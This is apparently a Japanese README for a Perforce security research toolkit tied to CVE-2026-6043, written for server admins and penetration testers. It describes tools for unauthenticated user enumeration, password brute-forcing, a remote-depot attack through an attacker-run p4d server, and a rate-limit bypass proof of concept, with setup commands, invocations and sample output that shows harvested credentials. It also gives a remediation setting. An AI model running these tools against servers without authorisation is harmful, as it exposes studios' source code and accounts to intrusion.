
Perforceのセキュリティ研究とツール - CVE-2026-6043
Perforce(Helix Core)のセキュリティ研究ツールとnucleiテンプレート。
研究記事: https://morganrobertson.net/p4wned/
詳細は上記をご覧ください。
許可されたターゲットのみ。自分のサーバー、または明示的な書面による許可を得て使用してください。
対象読者: Perforceサーバー管理者、ペネトレーションテスター、セキュリティエンジニア
2026年5月更新: Perforce 2026.1がリリースされました。このバージョンはセキュアなデフォルト設定で出荷されています!開発者のIPを保護するためにこのリリースが行われたことを大変嬉しく思います。詳細はこちら。
注: これらのツールは、CVE-2026-6043 に起因する設定ミスをスキャンします。
| ツール | 必要条件 |
|---|---|
p4wned.py | Python 3, p4 CLI バイナリ(下記参照) |
p4ghost.py | Python 3, p4 CLI バイナリ, ローカル p4d インスタンス(下記セットアップ参照) |
p4-auth-hammer | g++, Perforce C++ API, OpenSSL 1.1.1(p4-auth-hammer/README.md 参照) |
| JavaScript ツール | Node.js(外部依存関係なし) |
| Nuclei テンプレート | Nuclei v3+ |
| Metasploit モジュール | Metasploit Framework |
p4バイナリの入手(p4wned.py および p4ghost.py で必要):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
PerforceサーバーはカスタムバイナリTCPプロトコル(デフォルトポート1666)を公開しています。多くのインストールは安全でないデフォルト設定で出荷されています — 認証なしのユーザー一覧表示、サーバー情報公開、アクセス可能なリモートデポ、パスワード不要、ログイン試行のレート制限なし。ここにあるすべてのツールは、認証情報を必要とせずにこれらのデフォルト設定を悪用します。
主要スキャナです。p4 CLI バイナリを使用してユーザー列挙、認証情報のテスト、デポ一覧取得、レポート生成を行います。
python3 p4wned.py [-brute] [-audit] [-parallel N]
オプション:
| フラグ | 説明 |
|---|---|
-brute | ブルートフォースモードを有効にする — 発見された全ユーザーアカウントに対してパスワードをテスト |
-audit | 徹底監査モード — 脆弱性発見後も全ユーザーをテストし続ける |
-parallel N | 並列パスワード試行数(デフォルト: 1) |
設定(スクリプト上部で編集):
| 変数 | 説明 |
|---|---|
INPUT_FILE | ターゲットリスト(ip:port、1行に1つ)— デフォルト perforce-servers.txt |
P4_CMD | p4 バイナリへのパス — デフォルト ./p4 |
TOP_PASSWORDS_FILE | ブルートフォース用ワードリスト — デフォルト top-passwords.txt |
KNOWN_CREDS_FILE | 最初に試す既知の認証情報ペア |
REPORT_FILE | 出力レポートパス |
機能:
run.users.authorize=0 の場合)super グループメンバーシップ確認コンソール出力:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
· Confirms depots access and those juicy "super" user accounts.
· Drops a tidy report so you can fix the mess before the Skids arrive
Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================
=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.
[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...
[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666
[INFO] Report saved to perforce-report-p4wned-1775436520.txt
レポートファイル(perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
隠し remote ユーザーを介した認証なしのリモートデポアクセスをテストします。このエクスプロイトは、攻撃者が制御するローカル p4d インスタンスを実行することで動作します — ターゲットサーバーがサーバー間プロトコルの一部として接続を返し、その過程でデポファイル一覧が漏洩します。
セットアップ(初回のみ):
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
[-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
引数:
| フラグ | 説明 |
|---|---|
input_file | ターゲットリスト(ip:port、1行に1つ) |
-skipnolicense | Server license: none を返すサーバーをスキップ |
-report FILE | 出力レポートパス |
-p4cmd PATH | p4 バイナリへのパス(デフォルト ./p4) |
-unicodeport PORT | 攻撃者サーバーとして使用するローカル unicode p4d ポート |
-nonunicodeport PORT | ローカル非 unicode p4d ポート |
-timeout SECS | コマンドタイムアウト |
影響を受けるバージョン: 2025.1 未満で security < 4(デフォルトは0)のすべてのバージョン。
security < 3 の場合に p4d が認証試行を効果的にレート制限しないことを示す概念実証。Perforce C++ API を使用して、単一アカウントに対して毎分30万回以上のログイン試行を達成します。
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]
ビルド(Perforce C++ API および OpenSSL 1.1.1 が必要 — 完全なセットアップは p4-auth-hammer/README.md を参照):
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh
モード:
security < 3)。レート制限は完全にバイパスされます。毎分30万回以上の試行。-ticketauth: チケットベースのログイン(security >= 3)。このレベルではレート制限(dm.user.loginattempts)が有効です。SSL および unicode サーバーを自動検出します。最大スループットのためにスレッド数を自動調整します。
修復方法: p4 configure set security=3(または4)。詳細は p4-auth-hammer/README.md を参照してください。
スタンドアロンのNode.jsスクリプト。Node.js標準ライブラリ以外の依存関係はありません。すべてのスクリプトはSSLとプレーンTCP、ASCIIとunicodeサーバーモードを自動検出します — フラグは不要です。
ターゲットファイル形式: host:port を1行に1つ、ポートを省略した場合はデフォルトで1666になります。# で始まる行は無視されます。
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667
自動検出: まずプレーンTCPが試行されます。サーバーがPerforce SSLエラーメッセージ("Failed client connect, server using SSL")を返した場合、接続は rejectUnauthorized: false(自己署名証明書を受け入れる)でTLS上で再試行されます。最初にASCIIモードが試行され、サーバーがunicodeエラーメッセージを返した場合、接続は unicode パラメータで再試行されます。
run.users.authorize=0(デフォルト)を悪用して、認証なしで全ユーザーアカウントを一覧表示します。
node javascript/perforce-users.js [targets_file]
出力: [host:port] [tcp|ssl] username <email> "Full Name"